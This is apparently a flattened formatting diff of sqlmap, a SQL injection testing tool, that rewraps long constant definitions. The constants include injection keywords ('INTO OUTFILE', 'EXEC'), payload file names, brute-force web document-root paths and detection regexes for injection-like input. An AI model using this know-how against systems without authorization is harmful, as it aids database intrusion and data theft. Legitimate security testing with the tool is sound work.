MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
SUPPORTED_OS = ("linux", "windows") SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) DBMS_ALIASES = (
(DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES),
(DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES),
(DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES),
(DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES),
(DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES),
(DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES),
(DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES),
(DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer") REFERER_ALIASES = ("ref", "referer", "referrer")
@ -343,7 +375,9 @@ CACHE_DEFAULT_SCHEMA = "SQLUser"
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
# Names that can't be used to name files on Windows OS # Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") WINDOWS_RESERVED_NAMES = (
"CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2",
"LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
# Items displayed in basic help (-h) output # Items displayed in basic help (-h) output
BASIC_HELP_ITEMS = ( BASIC_HELP_ITEMS = (
@ -402,7 +436,9 @@ CURRENT_USER = "CU"
SESSION_SQLITE_FILE = "session.sqlite" SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages # Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+") FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+",
r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)",
r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+")
# Regular expressions used for parsing error messages (--parse-errors) # Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = ( ERROR_PARSING_REGEXES = (
@ -431,7 +467,9 @@ JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))' EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
# Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf # Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf
COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") COMMON_PASSWORD_SUFFIXES = (
"1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15",
"69", "16", "6", "18")
# Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html # Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html
COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "@") COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "@")
@ -458,7 +496,9 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s" SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside) # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile") SENSITIVE_OPTIONS = (
"hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie",
"proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile")
# Maximum number of threads (avoiding connection issues and/or DoS) # Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10 MAX_NUMBER_OF_THREADS = 10
@ -491,7 +531,9 @@ MIN_ERROR_CHUNK_LENGTH = 8
MAX_ERROR_CHUNK_LENGTH = 1024 MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords # Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) EXCLUDE_UNESCAPE = (
"WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ",
"'%s'" % CHAR_INFERENCE_MARK)
# Mark used for replacement of reflected values # Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
@ -533,10 +575,14 @@ MAX_INT = sys.maxsize
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode # Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") RESTORE_MERGED_OPTIONS = (
"col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar",
"user")
# Parameters to be ignored in detection phase (upper case) # Parameters to be ignored in detection phase (upper case)
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN") IGNORE_PARAMETERS = (
"__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION",
"ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
# Regular expression used for recognition of ASP.NET control parameters # Regular expression used for recognition of ASP.NET control parameters
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@ -582,7 +628,9 @@ VERSION_COMPARISON_CORRECTION = 0.0001
# These MySQL keywords can't go (alone) into versioned comment form (/*!...*/) # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") IGNORE_SPACE_AFFECTED_KEYWORDS = (
"CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM",
"SYSTEM_USER", "TRIM")
# Keywords expected to be in UPPERCASE in getValue() # Keywords expected to be in UPPERCASE in getValue()
GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT") GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")
@ -608,7 +656,19 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
# Extensions skipped by crawler # Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx") CRAWL_EXCLUDE_EXTENSIONS = (
"3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak",
"bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp",
"dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470",
"ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt",
"g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv",
"jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr",
"mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv",
"otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc",
"pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil",
"smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp",
"uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv",
"wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
# Patterns often seen in HTTP headers containing custom injection marking character '*' # Patterns often seen in HTTP headers containing custom injection marking character '*'
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@ -687,7 +747,10 @@ UNION_CHAR_REGEX = r"\A\w+\Z"
UNENCODED_ORIGINAL_VALUE = "original" UNENCODED_ORIGINAL_VALUE = "original"
# Common column names containing usernames (used for hash cracking in some cases) # Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") COMMON_USER_COLUMNS = (
"login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager",
"consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik",
"usuario", "consumidor", "client", "cuser")
# Default delimiter in GET/POST values # Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&' DEFAULT_GET_POST_DELIMITER = '&'
@ -750,7 +813,8 @@ DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
# Minor artistic touch # Minor artistic touch
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0],
BANNER)
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
@ -789,10 +853,17 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10 CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns" # Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") BOLD_PATTERNS = (
"' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable",
"does not seem to be", "test failed", "test passed", "live test final result", "test shows that",
"the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA",
"specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
# TLDs used in randomization of email-alike parameter values # TLDs used in randomization of email-alike parameter values
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") RANDOMIZATION_TLDS = (
"com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info",
"gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro",
"sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au")
# Generic www root directory names # Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@ -804,7 +875,15 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100 MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors # Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type") FORMAT_EXCEPTION_STRINGS = (
"Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated",
"Failed to convert", "unable to interpret text value", "Input string was not in a correct format",
"System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException",
"CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException",
"Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(",
"invalid input syntax for integer", "invalid input syntax for type", "invalid number",
"character to number conversion error", "unable to interpret text value", "String was not recognized as a valid",
"Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
# Regular expression used for extracting ASP.NET view state values # Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@ -846,7 +925,8 @@ JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
# Regular expression used for detecting Array-like POST data # Regular expression used for detecting Array-like POST data
ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (
DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER)
# Default POST data content-type # Default POST data content-type
DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8"
@ -861,7 +941,8 @@ SUHOSIN_MAX_VALUE_LENGTH = 512
MIN_BINARY_DISK_DUMP_SIZE = 100 MIN_BINARY_DISK_DUMP_SIZE = 100
# Filenames of payloads xml files (in order of loading) # Filenames of payloads xml files (in order of loading)
PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") PAYLOAD_XML_FILES = (
"boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")
# Regular expression used for extracting form tags # Regular expression used for extracting form tags
FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>" FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"
@ -892,12 +973,20 @@ CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Prefixes used in brute force search for web server document root # Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = { BRUTE_DOC_ROOT_PREFIXES = {
OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.LINUX: (
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
"/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%",
"/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"),
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache",
"/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2",
"/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
"/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
} }
# Suffixes used in brute force search for web server document root # Suffixes used in brute force search for web server document root
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") BRUTE_DOC_ROOT_SUFFIXES = (
"", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
"www/build")
# String used for marking target name inside used brute force web server document root # String used for marking target name inside used brute force web server document root
BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
@ -912,7 +1001,9 @@ KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"
PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable)
# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) # SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") HTTP_CHUNKED_SPLIT_KEYWORDS = (
"SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects",
"msysqueries", "sysmodules")
# CSS style used in HTML dump format # CSS style used in HTML dump format
HTML_DUMP_CSS_STYLE = """<style> HTML_DUMP_CSS_STYLE = """<style>
@ -957,11 +1048,17 @@ for key, value in os.environ.items():
else: else:
globals()[_] = value globals()[_] = value
# Installing "reversible" unicode (decoding) error handler # Installing "reversible" unicode (decoding) error handler
def _reversible(ex): def _reversible(ex):
if INVALID_UNICODE_PRIVATE_AREA: if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) return (u"".join(
_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]),
ex.end)
else: else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) return (u"".join(
INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]),
ex.end)
codecs.register_error("reversible", _reversible) codecs.register_error("reversible", _reversible)

View File

@ -20,6 +20,7 @@ from lib.core.settings import MAX_HISTORY_LENGTH
try: try:
import rlcompleter import rlcompleter
class CompleterNG(rlcompleter.Completer): class CompleterNG(rlcompleter.Completer):
def global_matches(self, text): def global_matches(self, text):
""" """
@ -40,6 +41,7 @@ try:
except: except:
readline._readline = None readline._readline = None
def readlineAvailable(): def readlineAvailable():
""" """
Check if the readline is available. By default Check if the readline is available. By default
@ -48,12 +50,14 @@ def readlineAvailable():
return readline._readline is not None return readline._readline is not None
def clearHistory(): def clearHistory():
if not readlineAvailable(): if not readlineAvailable():
return return
readline.clear_history() readline.clear_history()
def saveHistory(completion=None): def saveHistory(completion=None):
try: try:
if not readlineAvailable(): if not readlineAvailable():
@ -83,6 +87,7 @@ def saveHistory(completion=None):
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass
def loadHistory(completion=None): def loadHistory(completion=None):
if not readlineAvailable(): if not readlineAvailable():
return return
